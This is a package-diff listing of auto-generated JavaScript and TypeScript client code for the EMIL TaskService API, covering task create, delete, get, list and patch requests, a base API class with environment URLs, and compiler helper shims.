| * @throws {RequiredError} | ||
| */ | ||
| deleteTask: function (code, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'code' is not null or undefined | ||
| (0, common_1.assertParamExists)('deleteTask', 'code', code); | ||
| localVarPath = "/taskservice/v1/tasks/{code}" | ||
| .replace("{".concat("code", "}"), encodeURIComponent(String(code))); | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'DELETE' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will get a task by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the task | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the task. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getTask: function (code, authorization, expand, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'code' is not null or undefined | ||
| (0, common_1.assertParamExists)('getTask', 'code', code); | ||
| localVarPath = "/taskservice/v1/tasks/{code}" | ||
| .replace("{".concat("code", "}"), encodeURIComponent(String(code))); | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Retrieves a list of tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List tasks | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: subject, description</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, assignee, reporter, dueDate, status, priority</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> <i>Allowed values: categories, status<i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listTasks: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| localVarPath = "/taskservice/v1/tasks"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (pageSize !== undefined) { | ||
| localVarQueryParameter['pageSize'] = pageSize; | ||
| } | ||
| if (pageToken !== undefined) { | ||
| localVarQueryParameter['pageToken'] = pageToken; | ||
| } | ||
| if (filter !== undefined) { | ||
| localVarQueryParameter['filter'] = filter; | ||
| } | ||
| if (search !== undefined) { | ||
| localVarQueryParameter['search'] = search; | ||
| } | ||
| if (order !== undefined) { | ||
| localVarQueryParameter['order'] = order; | ||
| } | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (filters !== undefined) { | ||
| localVarQueryParameter['filters'] = filters; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will partially update a task by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the task | ||
| * @param {string} code | ||
| * @param {PatchTaskRequestDto} patchTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchTask: function (code, patchTaskRequestDto, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'code' is not null or undefined | ||
| (0, common_1.assertParamExists)('patchTask', 'code', code); | ||
| // verify required parameter 'patchTaskRequestDto' is not null or undefined | ||
| (0, common_1.assertParamExists)('patchTask', 'patchTaskRequestDto', patchTaskRequestDto); | ||
| localVarPath = "/taskservice/v1/tasks/{code}" | ||
| .replace("{".concat("code", "}"), encodeURIComponent(String(code))); | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'PATCH' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(patchTaskRequestDto, localVarRequestOptions, configuration); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.TasksApiAxiosParamCreator = TasksApiAxiosParamCreator; | ||
| /** | ||
| * TasksApi - functional programming interface | ||
| * @export | ||
| */ | ||
| var TasksApiFp = function (configuration) { | ||
| var localVarAxiosParamCreator = (0, exports.TasksApiAxiosParamCreator)(configuration); | ||
| return { | ||
| /** | ||
| * This will create a task. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the task | ||
| * @param {CreateTaskRequestDto} createTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createTask: function (createTaskRequestDto, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.createTask(createTaskRequestDto, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will delete a task by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the task | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteTask: function (code, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.deleteTask(code, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will get a task by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the task | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the task. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getTask: function (code, authorization, expand, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.getTask(code, authorization, expand, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Retrieves a list of tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List tasks | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: subject, description</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, assignee, reporter, dueDate, status, priority</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> <i>Allowed values: categories, status<i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listTasks: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.listTasks(authorization, pageSize, pageToken, filter, search, order, expand, filters, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will partially update a task by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the task | ||
| * @param {string} code | ||
| * @param {PatchTaskRequestDto} patchTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchTask: function (code, patchTaskRequestDto, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.patchTask(code, patchTaskRequestDto, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.TasksApiFp = TasksApiFp; | ||
| /** | ||
| * TasksApi - factory interface | ||
| * @export | ||
| */ | ||
| var TasksApiFactory = function (configuration, basePath, axios) { | ||
| var localVarFp = (0, exports.TasksApiFp)(configuration); | ||
| return { | ||
| /** | ||
| * This will create a task. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the task | ||
| * @param {CreateTaskRequestDto} createTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createTask: function (createTaskRequestDto, authorization, options) { | ||
| return localVarFp.createTask(createTaskRequestDto, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * This will delete a task by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the task | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteTask: function (code, authorization, options) { | ||
| return localVarFp.deleteTask(code, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * This will get a task by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the task | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the task. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getTask: function (code, authorization, expand, options) { | ||
| return localVarFp.getTask(code, authorization, expand, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * Retrieves a list of tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List tasks | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: subject, description</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, assignee, reporter, dueDate, status, priority</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> <i>Allowed values: categories, status<i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listTasks: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) { | ||
| return localVarFp.listTasks(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * This will partially update a task by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the task | ||
| * @param {string} code | ||
| * @param {PatchTaskRequestDto} patchTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchTask: function (code, patchTaskRequestDto, authorization, options) { | ||
| return localVarFp.patchTask(code, patchTaskRequestDto, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.TasksApiFactory = TasksApiFactory; | ||
| /** | ||
| * TasksApi - object-oriented interface | ||
| * @export | ||
| * @class TasksApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| var TasksApi = /** @class */ (function (_super) { | ||
| __extends(TasksApi, _super); | ||
| function TasksApi() { | ||
| return _super !== null && _super.apply(this, arguments) || this; | ||
| } | ||
| /** | ||
| * This will create a task. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the task | ||
| * @param {TasksApiCreateTaskRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| TasksApi.prototype.createTask = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.TasksApiFp)(this.configuration).createTask(requestParameters.createTaskRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * This will delete a task by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the task | ||
| * @param {TasksApiDeleteTaskRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| TasksApi.prototype.deleteTask = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.TasksApiFp)(this.configuration).deleteTask(requestParameters.code, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * This will get a task by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the task | ||
| * @param {TasksApiGetTaskRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| TasksApi.prototype.getTask = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.TasksApiFp)(this.configuration).getTask(requestParameters.code, requestParameters.authorization, requestParameters.expand, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * Retrieves a list of tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List tasks | ||
| * @param {TasksApiListTasksRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| TasksApi.prototype.listTasks = function (requestParameters, options) { | ||
| var _this = this; | ||
| if (requestParameters === void 0) { requestParameters = {}; } | ||
| return (0, exports.TasksApiFp)(this.configuration).listTasks(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * This will partially update a task by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the task | ||
| * @param {TasksApiPatchTaskRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| TasksApi.prototype.patchTask = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.TasksApiFp)(this.configuration).patchTask(requestParameters.code, requestParameters.patchTaskRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| return TasksApi; | ||
| }(base_1.BaseAPI)); | ||
| exports.TasksApi = TasksApi; |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { Configuration } from "./configuration"; | ||
| import { AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| export declare const BASE_PATH: string; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const COLLECTION_FORMATS: { | ||
| csv: string; | ||
| ssv: string; | ||
| tsv: string; | ||
| pipes: string; | ||
| }; | ||
| export interface LoginClass { | ||
| accessToken: string; | ||
| permissions: string; | ||
| } | ||
| export interface SwitchWorkspaceRequest { | ||
| username: string; | ||
| targetWorkspace: string; | ||
| } | ||
| export interface SwitchWorkspaceResponseClass { | ||
| accessToken: string; | ||
| permissions: string; | ||
| } | ||
| export declare enum Environment { | ||
| Production = "https://apiv2.emil.de", | ||
| Test = "https://apiv2-test.emil.de", | ||
| Staging = "https://apiv2-staging.emil.de", | ||
| Development = "https://apiv2-dev.emil.de", | ||
| ProductionZurich = "https://eu-central-2.apiv2.emil.de" | ||
| } | ||
| export declare function resetRetry(): void; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface RequestArgs | ||
| */ | ||
| export interface RequestArgs { | ||
| url: string; | ||
| options: AxiosRequestConfig; | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| * @class BaseAPI | ||
| */ | ||
| export declare class BaseAPI { | ||
| protected basePath: string; | ||
| protected axios: AxiosInstance; | ||
| protected configuration: Configuration; | ||
| private username?; | ||
| private password?; | ||
| constructor(configuration?: Configuration, basePath?: string, axios?: AxiosInstance); | ||
| initialize(env?: Environment, targetWorkspace?: string): Promise<void>; | ||
| private loadCredentials; | ||
| private readConfigFile; | ||
| private readEnvVariables; | ||
| selectEnvironment(env: Environment): void; | ||
| authorize(username: string, password: string, targetWorkspace?: string): Promise<void>; | ||
| switchWorkspace(targetWorkspace: string): Promise<void>; | ||
| refreshTokenInternal(): Promise<string>; | ||
| private extractRefreshToken; | ||
| getConfiguration(): Configuration; | ||
| private attachInterceptor; | ||
| } | ||
| /** | ||
| * | ||
| * @export | ||
| * @class RequiredError | ||
| * @extends {Error} | ||
| */ | ||
| export declare class RequiredError extends Error { | ||
| field: string; | ||
| name: "RequiredError"; | ||
| constructor(field: string, msg?: string); | ||
| } |
+434
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __extends = (this && this.__extends) || (function () { | ||
| var extendStatics = function (d, b) { | ||
| extendStatics = Object.setPrototypeOf || | ||
| ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || | ||
| function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; | ||
| return extendStatics(d, b); | ||
| }; | ||
| return function (d, b) { | ||
| if (typeof b !== "function" && b !== null) | ||
| throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); | ||
| extendStatics(d, b); | ||
| function __() { this.constructor = d; } | ||
| d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); | ||
| }; | ||
| })(); | ||
| var __assign = (this && this.__assign) || function () { | ||
| __assign = Object.assign || function(t) { | ||
| for (var s, i = 1, n = arguments.length; i < n; i++) { | ||
| s = arguments[i]; | ||
| for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||
| t[p] = s[p]; | ||
| } | ||
| return t; | ||
| }; | ||
| return __assign.apply(this, arguments); | ||
| }; | ||
| var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| var desc = Object.getOwnPropertyDescriptor(m, k); | ||
| if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { | ||
| desc = { enumerable: true, get: function() { return m[k]; } }; | ||
| } | ||
| Object.defineProperty(o, k2, desc); | ||
| }) : (function(o, m, k, k2) { | ||
| if (k2 === undefined) k2 = k; | ||
| o[k2] = m[k]; | ||
| })); | ||
| var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) { | ||
| Object.defineProperty(o, "default", { enumerable: true, value: v }); | ||
| }) : function(o, v) { | ||
| o["default"] = v; | ||
| }); | ||
| var __importStar = (this && this.__importStar) || function (mod) { | ||
| if (mod && mod.__esModule) return mod; | ||
| var result = {}; | ||
| if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); | ||
| __setModuleDefault(result, mod); | ||
| return result; | ||
| }; | ||
